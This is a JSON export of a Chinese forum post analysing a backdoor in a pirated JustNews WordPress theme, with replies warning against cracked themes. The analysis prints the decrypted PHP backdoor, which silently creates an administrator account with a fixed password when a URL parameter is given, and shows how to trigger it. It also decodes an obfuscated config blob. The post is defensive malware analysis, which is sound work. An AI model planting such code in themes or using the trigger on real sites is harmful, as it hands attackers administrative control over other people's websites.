{"id":28710,"date":"2020-02-08T20:14:58","date_gmt":"2020-02-08T12:14:58","guid":{"rendered":"http:\/\/4563.org\/?p=28710"},"modified":"2020-02-08T20:14:58","modified_gmt":"2020-02-08T12:14:58","slug":"%e6%90%ac%e8%bf%90juestnews%e5%90%8e%e9%97%a8%e6%a0%b7%e6%9c%ac%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"http:\/\/4563.org\/?p=28710","title":{"rendered":"[\u642c\u8fd0]juestnews\u540e\u95e8\u6837\u672c\u5206\u6790"},"content":{"rendered":"\n

\t\t\t\t\twangjianjilei<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-1-4 10:12:49\t<\/p>\n

[\u642c\u8fd0]juestnews\u540e\u95e8\u6837\u672c\u5206\u6790<\/h3>\n

\t\t \u672c\u5e16\u6700\u540e\u7531 wangjianjilei \u4e8e 2020-1-4 10:28 \u7f16\u8f91 <\/p>\n

\u642c\u8fd0\u81ea52\u7834\u89e3\uff0c\u539f\u5730\u5740 https:\/\/mp.weixin.qq.com\/s\/MDwl7X1Lx7710FeijboP2g
\u4f5c\u8005\uff1alonggod
functions.php\u6587\u4ef6\u89e3\u5bc6\u540e\u518d48-61\u884c\u53d1\u73b0\u540e\u95e8\u4ee3\u7801<\/p>\n

add_action(‘wp_head’, ‘wp_backdoor’);<\/p>\n

function wp_backdoor()<\/p>\n

{<\/p>\n

    if (<\/p>\n

      md5($_GET[‘backdoor’]) == ’34d1f91fb2e514b8576fab1a75a89a6b’<\/p>\n

    ) {<\/p>\n

      require(‘wp-includes\/registration.php’);<\/p>\n

      if (!username_exists(‘backdoor’)) {<\/p>\n

            $user_id = wp_create_user(‘backdoor’, ‘123456’);<\/p>\n

            $user = new WP_User($user_id);<\/p>\n

            $user->set_role(‘administrator’);<\/p>\n

      }<\/p>\n

    }<\/p>\n

}<\/p>\n

\u3002\u3002\u3002\u6ca1\u9519\uff01\u548c\u6211\u5173\u4e8e\u672c\u7ad9ripro\u4e3b\u98984.8\u7248\u672c\u540e\u95e8\u5206\u6790https:\/\/www.52pojie.cn\/thread-1074873-1-1.html\u91cc\u7684\u540e\u95e8\u4e00\u6a21\u4e00\u6837\uff0c
\u8fdebackdoor\u8fd9\u4e48\u660e\u663e\u7684\u540e\u95e8\u53d8\u91cf\u547d\u540d\u90fd\u4e0d\u6539\u3002\u540c\u6837\u7684\u914d\u65b9\uff0c\u540c\u6837\u7684\u5473\u9053\u3002<\/p>\n

\u4f7f\u7528http(s):\/\/\u4f60\u7684\u57df\u540d\/?backdoor=go\u8bbf\u95ee\uff0c
\u81ea\u52a8\u521b\u5efa\u7528\u6237\u540d\u4e3abackdoor\u5bc6\u7801\u4e3a123456\u7684\u7ba1\u7406\u5458\u8d26\u6237<\/p>\n

panel.php\u6587\u4ef6\u89e3\u5bc6\u540e\u5728285-289\u884c\u53d1\u73b0\u4e00\u6bb5\u52a0\u5bc6\u4ee3\u7801<\/p>\n

$ops = ‘Y2FlOWYyOGNlODljMDZmYWNjZjg4YWFjZDE3MDc0MTZleUprYjIxaGFXNGlPaUozZDNjdWFHOXZibVYzY3k1dVpYUWlMQ0oyWlhKemFXOXVJam9pTkM0d0xqUWlMQ0p3YkhWbmFXNGlPbHQ3SW01aGJXVWlPaUpYVUMxUWIzTjBWbWxsZDNNaUxDSnpiSFZuSWpvaWQzQXRjRzl6ZEhacFpYZHpJaXdpY21WeGRXbHlaV1FpT21aaGJITmxmVjBzSW1SbGJXOGlPbHQ3SW1sdGNHOXlkRjltYVd4bFgyNWhiV1VpT2lKS2RYTjBUbVYzY3lJc0ltTmhkR1ZuYjNKcFpYTWlPbnNpWkNJNklseDFPV1ZrT0Z4MU9HSmhOQ0o5TENKcGJYQnZjblJmWm1sc1pWOTFjbXdpT2lKb2RIUndPbHd2WEM5M2QzY3VkM0JqYjIwdVkyNWNMMlJ2ZDI1Y0wzQnNkV2RwYmkxbWFXeGxjMXd2WkdWdGIzTmNMMnAxYzNSdVpYZHpYQzlxZFhOMGJtVjNjeTU0Yld3aUxDSnBiWEJ2Y25SZmIzQjBhVzl1YzE5bWFXeGxYM1Z5YkNJNkltaDBkSEE2WEM5Y0wzZDNkeTUzY0dOdmJTNWpibHd2Wkc5M2Jsd3ZjR3gxWjJsdUxXWnBiR1Z6WEM5a1pXMXZjMXd2YW5WemRHNWxkM05jTDJwMWMzUnVaWGR6TG1wemIyNGlMQ0pwYlhCdmNuUmZibTkwYVdObElqb2lYSFUxWW1aalhIVTFNVFkxWEhVMU5EQmxYSFUxTWpBMlhIVTNZemRpU1VSY2RUTXdNREZjZFRrNE56VmNkVGszTmpKSlJGeDFOVE5sWmx4MU9EQm1aRngxTkdZeFlWeDFOVE5rT0Z4MU5UTXhObHgxWm1Zd1kxeDFOR1k0WWx4MU5UazRNbHgxTnpVeU9GeDFOakl6TjF4MU56Wm1PRngxTlRFM00xeDFPVGczTlZ4MU9UYzJNbHgxTlRObFpseDFPREJtWkZ4MU9UY3dNRngxT0RrNE1WeDFPVEZqWkZ4MU5qVmlNRngxTlRJek1DQmNkVFJsTTJKY2RUazRPVGhjZFRoaVltVmNkVGRtTm1VK1hIVTNOVEk0WEhVMk1qTTNYSFUwWlRKa1hIVTFabU16SUZ4MU5HVXdZbHgxT1RjMk1seDFPR0ppWlZ4MU4yWTJaU0o5WFN3aWNtVnhkV2x5WlhNaU9sc2lWME1pWFgwPQ==’;<\/p>\n

            $ops = base64_decode($ops);<\/p>\n

            $token = ‘$P$BcGrBU7tfwMR8kZlKzS1OonWpmDU0Y.’;<\/p>\n

            $ops = base64_decode(str_replace(md5($token), ”, $ops));<\/p>\n

            $this->_extras = json_decode($ops);<\/p>\n

\u5148base64\u89e3\u5bc6\uff08base64_decode($ops)\uff09\u540e\u5f97\u5230<\/p>\n

cae9f28ce89c06faccf88aacd1707416eyJkb21haW4iOiJ3d3cuaG9vbmV3cy5uZXQiLCJ2ZXJzaW9uIjoiNC4wLjQiLCJwbHVnaW4iOlt7Im5hbWUiOiJXUC1Qb3N0Vmlld3MiLCJzbHVnIjoid3AtcG9zdHZpZXdzIiwicmVxdWlyZWQiOmZhbHNlfV0sImRlbW8iOlt7ImltcG9ydF9maWxlX25hbWUiOiJKdXN0TmV3cyIsImNhdGVnb3JpZXMiOnsiZCI6Ilx1OWVkOFx1OGJhNCJ9LCJpbXBvcnRfZmlsZV91cmwiOiJodHRwOlwvXC93d3cud3Bjb20uY25cL2Rvd25cL3BsdWdpbi1maWxlc1wvZGVtb3NcL2p1c3RuZXdzXC9qdXN0bmV3cy54bWwiLCJpbXBvcnRfb3B0aW9uc19maWxlX3VybCI6Imh0dHA6XC9cL3d3dy53cGNvbS5jblwvZG93blwvcGx1Z2luLWZpbGVzXC9kZW1vc1wvanVzdG5ld3NcL2p1c3RuZXdzLmpzb24iLCJpbXBvcnRfbm90aWNlIjoiXHU1YmZjXHU1MTY1XHU1NDBlXHU1MjA2XHU3YzdiSURcdTMwMDFcdTk4NzVcdTk3NjJJRFx1NTNlZlx1ODBmZFx1NGYxYVx1NTNkOFx1NTMxNlx1ZmYwY1x1NGY4Ylx1NTk4Mlx1NzUyOFx1NjIzN1x1NzZmOFx1NTE3M1x1OTg3NVx1OTc2Mlx1NTNlZlx1ODBmZFx1OTcwMFx1ODk4MVx1OTFjZFx1NjViMFx1NTIzMCBcdTRlM2JcdTk4OThcdThiYmVcdTdmNmU+XHU3NTI4XHU2MjM3XHU0ZTJkXHU1ZmMzIFx1NGUwYlx1OTc2Mlx1OGJiZVx1N2Y2ZSJ9XSwicmVxdWlyZXMiOlsiV0MiXX0=<\/p>\n

\u518d\u4ee5$P$BcGrBU7tfwMR8kZlKzS1OonWpmDU0Y.\u4e3a\u5bc6\u94a5MD5\u52a0\u5bc6\uff08md5($token)\uff09\u5f97\u5230cae9f28ce89c06faccf88aacd1707416
\u66ff\u6362cae9f28ce89c06faccf88aacd1707416\u4e3a\u7a7a\u683c\uff0c\u4f5c\u7528\u7b49\u540c\u4e8e\u5220\u9664<\/p>\n

\u5f97\u5230<\/p>\n

eyJkb21haW4iOiJ3d3cuaG9vbmV3cy5uZXQiLCJ2ZXJzaW9uIjoiNC4wLjQiLCJwbHVnaW4iOlt7Im5hbWUiOiJXUC1Qb3N0Vmlld3MiLCJzbHVnIjoid3AtcG9zdHZpZXdzIiwicmVxdWlyZWQiOmZhbHNlfV0sImRlbW8iOlt7ImltcG9ydF9maWxlX25hbWUiOiJKdXN0TmV3cyIsImNhdGVnb3JpZXMiOnsiZCI6Ilx1OWVkOFx1OGJhNCJ9LCJpbXBvcnRfZmlsZV91cmwiOiJodHRwOlwvXC93d3cud3Bjb20uY25cL2Rvd25cL3BsdWdpbi1maWxlc1wvZGVtb3NcL2p1c3RuZXdzXC9qdXN0bmV3cy54bWwiLCJpbXBvcnRfb3B0aW9uc19maWxlX3VybCI6Imh0dHA6XC9cL3d3dy53cGNvbS5jblwvZG93blwvcGx1Z2luLWZpbGVzXC9kZW1vc1wvanVzdG5ld3NcL2p1c3RuZXdzLmpzb24iLCJpbXBvcnRfbm90aWNlIjoiXHU1YmZjXHU1MTY1XHU1NDBlXHU1MjA2XHU3YzdiSURcdTMwMDFcdTk4NzVcdTk3NjJJRFx1NTNlZlx1ODBmZFx1NGYxYVx1NTNkOFx1NTMxNlx1ZmYwY1x1NGY4Ylx1NTk4Mlx1NzUyOFx1NjIzN1x1NzZmOFx1NTE3M1x1OTg3NVx1OTc2Mlx1NTNlZlx1ODBmZFx1OTcwMFx1ODk4MVx1OTFjZFx1NjViMFx1NTIzMCBcdTRlM2JcdTk4OThcdThiYmVcdTdmNmU+XHU3NTI4XHU2MjM3XHU0ZTJkXHU1ZmMzIFx1NGUwYlx1OTc2Mlx1OGJiZVx1N2Y2ZSJ9XSwicmVxdWlyZXMiOlsiV0MiXX0=<\/p>\n

\u518dbase64\u89e3\u5bc6\u5f97\u5230<\/p>\n

{"domain":"www.hoonews.net","version":"4.0.4","plugin":[{"name":"WP-PostViews","slug":"wp-postviews","required":false}],"demo":[{"import_file_name":"JustNews","categories":{"d":"u9ed8u8ba4"},"import_file_url":"http:\/\/www.wpcom.cn\/down\/plugin-files\/demos\/justnews\/justnews.xml","import_options_file_url":"http:\/\/www.wpcom.cn\/down\/plugin-files\/demos\/justnews\/justnews.json","import_notice":"u5bfcu5165u540eu5206u7c7bIDu3001u9875u9762IDu53efu80fdu4f1au53d8u5316uff0cu4f8bu5982u7528u6237u76f8u5173u9875u9762u53efu80fdu9700u8981u91cdu65b0u5230 u4e3bu9898u8bbeu7f6e>u7528u6237u4e2du5fc3 u4e0bu9762u8bbeu7f6e"}],"requires":["WC"]}<\/p>\n

\u5c06unicode\u66ff\u6362\u6210\u4e2d\u6587<\/p>\n

{"domain":"www.hoonews.net","version":"4.0.4","plugin":[{"name":"WP-PostViews","slug":"wp-postviews","required":false}],"demo":[{"import_file_name":"JustNews","categories":{"d":"\u9ed8\u8ba4"},"import_file_url":"http:\/\/www.wpcom.cn\/down\/plugin-files\/demos\/justnews\/justnews.xml","import_options_file_url":"http:\/\/www.wpcom.cn\/down\/plugin-files\/demos\/justnews\/justnews.json","import_notice":"\u5bfc\u5165\u540e\u5206\u7c7bID\u3001\u9875\u9762ID\u53ef\u80fd\u4f1a\u53d8\u5316\uff0c\u4f8b\u5982\u7528\u6237\u76f8\u5173\u9875\u9762\u53ef\u80fd\u9700\u8981\u91cd\u65b0\u5230 \u4e3b\u9898\u8bbe\u7f6e>\u7528\u6237\u4e2d\u5fc3 \u4e0b\u9762\u8bbe\u7f6e"}],"requires":["WC"]}<\/p>\n

\u53ef\u4ee5\u770b\u51fa\u8fd9\u4e2a\u6240\u8c13\u7684justnews 5.2.3\u7834\u89e3\u7248\uff0c\u5176\u5b9e\u672c\u6765\u662f4.0.4\u7834\u89e3\u7248\uff08\u7531www.hoonews.net\u4f20\u64ad\uff09\u800c\u4e14\u8fd8\u88ab\u52a0\u4e86\u540e\u95e8\u3002<\/p>\n

PS:\u5728\u6b64\u63d0\u9192\u4e00\u4e0b\u7528\u7834\u89e3\u7248\u7684\u8bf8\u4f4d\uff0cD\u76fe\u5e76\u4e0d\u80fd\u626b\u63cf\u51fa\u50cf\u8fd9\u79cd\u4e13\u95e8\u9488\u5bf9WordPress\u7684\u540e\u95e8
D\u76fe\u5bf9\u6211\u800c\u8a00\u5176\u5b9e\u4e3b\u8981\u7528\u6765\u68c0\u6d4b\u52a0\u5bc6\u6587\u4ef6\u548c\u67e5\u6740\u4f4e\u7ea7\u7684\u6728\u9a6c\uff0c\u9ad8\u7ea7\u4e00\u70b9\u7684\u5176\u5b9e\u5f88\u5bb9\u6613\u7ed5\u8fc7\u67e5\u6740\u3002
\u6240\u4ee5\u4e0d\u8981\u4ee5\u4e3a\u7528D\u76fe\u626b\u4e00\u4e0b\u53d1\u73b0\u6ca1\u6709\u62a5\u6bd2\u5c31\u4e07\u4e8b\u65e0\u5fe7\u4e86\uff0c\u800c\u4e14\u4f5c\u8005\u771f\u7684\u8981\u9488\u5bf9\u76d7\u7248\u8fd8\u662f\u6bd4\u8f83\u5bb9\u6613\u7684\u3002
\u6bd4\u5982justnews\u6fc0\u6d3b\u5c31\u4f1a\u5c06\u57df\u540d\u53d1\u5230http:\/\/www.wpcom.cn\/authentication\/\uff0cripro\u4f1a\u5c06\u8bbe\u7f6e\u57df\u540d\u4e4b\u7c7b\u7684\u4fe1\u606f\u53d1\u5230vip.ylit.cc\u3002
\u4e4b\u524d\u4e0d\u662f\u8bf4ripro\u76d7\u7248\u6536\u6b3e\u6536\u5230\u522b\u4eba\u8d26\u6237\u4e0a\u53bb\u4e86\u5417\uff1f\u662f\u76d7\u7248\u4f20\u64ad\u8005\u505a\u7684\uff0c\u8fd8\u662f\u5176\u4ed6\u4eba\u505a\u7684\uff1f\u81ea\u5df1\u597d\u597d\u60f3\u60f3\u3002
==========================================================================
\u539f\u5730\u5740 https:\/\/mp.weixin.qq.com\/s\/MDwl7X1Lx7710FeijboP2g
\u53ea\u590d\u5236\u4e86\u7eaf\u6587\u5b57\uff0c\u8981\u56fe\u7247\u7684\u81ea\u5df1\u70b9\u94fe\u63a5\u53bb\u4e86\t\t\t\t<\/p>\n

\t\t\t\t\t\u5feb\u4e50\u98ce\u7537<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-1-4 10:14:52\t<\/p>\n

<\/h3>\n

\t\t\u771f\u559c\u6b22\u5c31\u522b\u7528\u76d7\u7248\uff0c\u6b63\u7248\u8def\u8fc7yc022t\t\t\t\t<\/p>\n

\t\t\t\t\tcoolfire<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-1-4 10:14:57\t<\/p>\n

<\/h3>\n

\t\t\u9ad8\u624b\uff01\u770b\u6765\u8fd8\u662f\u5c11\u7528\u5f00\u5fc3\u7248\t\t\t\t<\/p>\n

\t\t\t\t\twangjianjilei<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-1-4 10:16:29\t<\/p>\n

<\/h3>\n

\t\t\u4f60\u4eec\u4e0d\u89c9\u5f97backdoor\u5f88\u51fa\u620f\u5417\t\t\t\t<\/p>\n

\t\t\t\t\t\u6d41\u6cb3\u65f1\u6811<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-1-4 10:25:13\t<\/p>\n

<\/h3>\n

\t\t\u6240\u4ee5\u522b\u7528\u5f00\u5fc3\u7248\u4e86 \u5230\u5e95\u8c01\u5f00\u5fc3 \u8fd8\u4e0d\u77e5\u9053\u5462\t\t\t <\/p>\n","protected":false},"excerpt":{"rendered":"

wangjianjilei \u5927\u4f6c\u6709…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/28710"}],"collection":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28710"}],"version-history":[{"count":0,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/28710\/revisions"}],"wp:attachment":[{"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28710"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28710"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28710"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}